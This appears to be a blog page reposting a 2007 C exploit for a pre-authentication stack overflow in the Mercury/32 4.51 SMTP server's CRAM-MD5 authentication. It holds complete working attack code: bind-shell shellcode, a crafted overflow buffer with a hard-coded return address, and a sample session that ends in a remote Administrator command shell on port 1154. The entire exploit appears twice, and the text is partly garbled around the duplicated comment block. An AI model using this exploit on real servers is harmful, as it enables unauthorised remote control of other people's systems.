[Exploit]Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)
/*
Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)
Public Version 1.0
http://www.ph4nt0m.org
2007-08-22
Code by: Zhenhan.Liu
Original POC: http://www.milw0rm.com/exploits/4294
Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html
Our Mail-list: http://list.ph4nt0m.org (Chinese)
It will bind a cmdshell on port 1154 if successful.
Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== http://www.ph4nt0m.org 2007-08-22
[*] connect to 127.0.0.1:25 . . . OK!
[C] EHLO void#ph4nt0m.org
[S] 220 root ESMTP server ready.
[S] 250-root Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+
[C] Send Payload. . .
[-] Done! cmdshell@1154?
Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154
DNS fwd/rev mismatch: localhost != gnu
localhost [127.0.0.1] 1154 (?) open
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
e:\MERCURY>whoami
whoami
Administrator
*/
#include <io.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
/* win32_bind - EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
// Base64字符集
__inline char GetB64Char(int index)
{
const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
if (index >= 0 && index < 64)
return szBase64Table[index];
return '=';
}
// 从双字中取单字节
#define B0(a) (a & 0xFF)
#define B1(a) (a >> 8 & 0xFF)
#define B2(a) (a >> 16 & 0xFF)
#define B3(a) (a >> 24 & 0xFF)
// 编码后的长度一般比原文多占1/3的存储空间,请保证base64code有足够的空间
inline int Base64Encode(char * base64code, const char * src, int src_len)
{
if (src_len == 0)
src_len = strlen(src);
int len = 0;
unsigned char* psrc = (unsigned char*)src;
char * p64 = base64code;
for (int i = 0; i < src_len - 3; i += 3)
{
unsigned long ulTmp = *(unsigned long*)psrc;
register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F);
register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F);
register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F);
register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F);
*((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24;
len += 4;
p64 += 4;
psrc += 3;
}
// 处理最后余下的不足3字节的饿数据
if (i < src_len)
{
int rest = src_len - i;
unsigned long ulTmp = 0;
for (int j = 0; j < rest; ++j)
{
*(((unsigned char*)&ulTmp) + j) = *psrc++;
}
p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F);
p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F);
p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '=';
p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '=';
p64 += 4;
len += 4;
}
*p64 = '\0';
return len;
}
char* GetErrorMessage(DWORD dwMessageId)
{
static char ErrorMessage[1024];
DWORD dwRet;
dwRet = FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options
NULL, // pointer to message source
dwMessageId, // requested message identifier
0, //dwLanguageId
ErrorMessage, //lpBuffer
1024, //nSize
NULL //Arguments
);
if(dwRet)
return ErrorMessage;
else
{
sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId);
return ErrorMessage;
}
}
int MakeConnection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons((short)port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
int check_recv(SOCKET s, char* str_sig)
{
char buf[1024];
int ret;
for(;;)
{
memset(buf, 0, sizeof(buf));
ret = recv(s, buf, sizeof(buf), 0);
if(ret > 0)
{
printf("[S] %s", buf);
}
else
{
printf("[-] recv() %s\n", GetErrorMessage(GetLastError()));
closesocket(s);
ExitProcess(-1);
}
if(strstr(buf, str_sig))
{
break;
}
else
{
continue;
}
} //for(;;)
return ret;
}
int check_send(SOCKET s, char* buf, unsigned int buf_len)
{
int ret;
ret = send(s, buf, buf_len, 0);
if( ret >0)
{
return ret;
}
else
{
printf("[-] send() %s\n", GetErrorMessage(GetLastError()));
closesocket(s);
ExitProcess(-1);
}
}
void exploit_mercury_smtpd(char* ip, unsigned short port)
{
SOCKET s;
WSADATA wsa;
char buf[1500];
char payload[sizeof(buf)*4/3+16];
int base64_len;
memset(buf, 0x90, sizeof(buf));
memcpy(&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode));
memcpy(&buf[1244], "\x90\x90\xeb\x06", 4);
memcpy(&buf[1244+4], "\x2d\x12\x40\x00", 4); //universal opcode in mercury.exe. no safeseh
memcpy(&buf[1244+4+4], "\x90\x90\x90\x90\xE9\x44\xfd\xff\xff", 9);
buf[sizeof(buf)-1] = '\0';
memset(payload, 0x00, sizeof(payload));
base64_len = Base64Encode(payload, buf, sizeof(buf));
memcpy(&payload[base64_len], "\r\n", 3);
printf("[*] connect to %s:%d . . . ", ip, port);
WSAStartup(MAKEWORD(2,2), &wsa);
s = MakeConnection(ip, port, 10);
if(s <= 0)
{
printf("Failed! %s\n", GetErrorMessage(GetLastError()) );
return;
}
else
{
printf("OK!\n");
}
_snprintf(buf, sizeof(buf), "EHLO void#ph4nt0m.org\r\n");
printf("[C] %s", buf);
check_send(s, buf, strlen(buf));
check_recv(s, "250 HELP");
_snprintf(buf, sizeof(buf), "AUTH CRAM-MD5\r\n");
printf("[C] %s", buf);
check_send(s, buf, strlen(buf));
check_recv(s, "334");
printf("[C] Send Payload. . .\n");
check_send(s, payload, strlen(payload));
printf("[-] Done! cmdshell@1154?\n");
closesocket(s);
WSACleanup();
}
void main(int argc, char* argv[])
{
printf("== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow\n");
printf("== Public Version 1.0\n");
printf("== http://www.ph4nt0m.org 2007-08-22\n");
printf("== code by Zhenhan.Liu\n\n");
if(argc==3)
exploit_mercury_smtpd(argv[1], atoi(argv[2]));
else
{
printf( "Usage:\n"
" %s <ip> <port> \n", argv[0]);
}
}
Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)
Public Version 1.0
http://www.ph4nt0m.org
2007-08-22
Code by: Zhenhan.Liu
Original POC: http://www.milw0rm.com/exploits/4294
Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html
Our Mail-list: http://list.ph4nt0m.org (Chinese)
It will bind a cmdshell on port 1154 if successful.
Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== http://www.ph4nt0m.org 2007-08-22
[*] connect to 127.0.0.1:25 . . . OK!
[C] EHLO void#ph4nt0m.org
[S] 220 root ESMTP server ready.
[S] 250-root Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+
[C] Send Payload. . .
[-] Done! cmdshell@1154?
Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154
DNS fwd/rev mismatch: localhost != gnu
localhost [127.0.0.1] 1154 (?) open
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
e:\MERCURY>whoami
whoami
Administrator
*/
#include <io.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
/* win32_bind - EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
// Base64字符集
__inline char GetB64Char(int index)
{
const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
if (index >= 0 && index < 64)
return szBase64Table[index];
return '=';
}
// 从双字中取单字节
#define B0(a) (a & 0xFF)
#define B1(a) (a >> 8 & 0xFF)
#define B2(a) (a >> 16 & 0xFF)
#define B3(a) (a >> 24 & 0xFF)
// 编码后的长度一般比原文多占1/3的存储空间,请保证base64code有足够的空间
inline int Base64Encode(char * base64code, const char * src, int src_len)
{
if (src_len == 0)
src_len = strlen(src);
int len = 0;
unsigned char* psrc = (unsigned char*)src;
char * p64 = base64code;
for (int i = 0; i < src_len - 3; i += 3)
{
unsigned long ulTmp = *(unsigned long*)psrc;
register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F);
register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F);
register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F);
register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F);
*((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24;
len += 4;
p64 += 4;
psrc += 3;
}
// 处理最后余下的不足3字节的饿数据
if (i < src_len)
{
int rest = src_len - i;
unsigned long ulTmp = 0;
for (int j = 0; j < rest; ++j)
{
*(((unsigned char*)&ulTmp) + j) = *psrc++;
}
p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F);
p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F);
p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '=';
p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '=';
p64 += 4;
len += 4;
}
*p64 = '\0';
return len;
}
char* GetErrorMessage(DWORD dwMessageId)
{
static char ErrorMessage[1024];
DWORD dwRet;
dwRet = FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options
NULL, // pointer to message source
dwMessageId, // requested message identifier
0, //dwLanguageId
ErrorMessage, //lpBuffer
1024, //nSize
NULL //Arguments
);
if(dwRet)
return ErrorMessage;
else
{
sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId);
return ErrorMessage;
}
}
int MakeConnection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons((short)port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
int check_recv(SOCKET s, char* str_sig)
{
char buf[1024];
int ret;
for(;;)
{
memset(buf, 0, sizeof(buf));
ret = recv(s, buf, sizeof(buf), 0);
if(ret > 0)
{
printf("[S] %s", buf);
}
else
{
printf("[-] recv() %s\n", GetErrorMessage(GetLastError()));
closesocket(s);
ExitProcess(-1);
}
if(strstr(buf, str_sig))
{
break;
}
else
{
continue;
}
} //for(;;)
return ret;
}
int check_send(SOCKET s, char* buf, unsigned int buf_len)
{
int ret;
ret = send(s, buf, buf_len, 0);
if( ret >0)
{
return ret;
}
else
{
printf("[-] send() %s\n", GetErrorMessage(GetLastError()));
closesocket(s);
ExitProcess(-1);
}
}
void exploit_mercury_smtpd(char* ip, unsigned short port)
{
SOCKET s;
WSADATA wsa;
char buf[1500];
char payload[sizeof(buf)*4/3+16];
int base64_len;
memset(buf, 0x90, sizeof(buf));
memcpy(&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode));
memcpy(&buf[1244], "\x90\x90\xeb\x06", 4);
memcpy(&buf[1244+4], "\x2d\x12\x40\x00", 4); //universal opcode in mercury.exe. no safeseh
memcpy(&buf[1244+4+4], "\x90\x90\x90\x90\xE9\x44\xfd\xff\xff", 9);
buf[sizeof(buf)-1] = '\0';
memset(payload, 0x00, sizeof(payload));
base64_len = Base64Encode(payload, buf, sizeof(buf));
memcpy(&payload[base64_len], "\r\n", 3);
printf("[*] connect to %s:%d . . . ", ip, port);
WSAStartup(MAKEWORD(2,2), &wsa);
s = MakeConnection(ip, port, 10);
if(s <= 0)
{
printf("Failed! %s\n", GetErrorMessage(GetLastError()) );
return;
}
else
{
printf("OK!\n");
}
_snprintf(buf, sizeof(buf), "EHLO void#ph4nt0m.org\r\n");
printf("[C] %s", buf);
check_send(s, buf, strlen(buf));
check_recv(s, "250 HELP");
_snprintf(buf, sizeof(buf), "AUTH CRAM-MD5\r\n");
printf("[C] %s", buf);
check_send(s, buf, strlen(buf));
check_recv(s, "334");
printf("[C] Send Payload. . .\n");
check_send(s, payload, strlen(payload));
printf("[-] Done! cmdshell@1154?\n");
closesocket(s);
WSACleanup();
}
void main(int argc, char* argv[])
{
printf("== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow\n");
printf("== Public Version 1.0\n");
printf("== http://www.ph4nt0m.org 2007-08-22\n");
printf("== code by Zhenhan.Liu\n\n");
if(argc==3)
exploit_mercury_smtpd(argv[1], atoi(argv[2]));
else
{
printf( "Usage:\n"
" %s <ip> <port> \n", argv[0]);
}
}
没有评论:
发表评论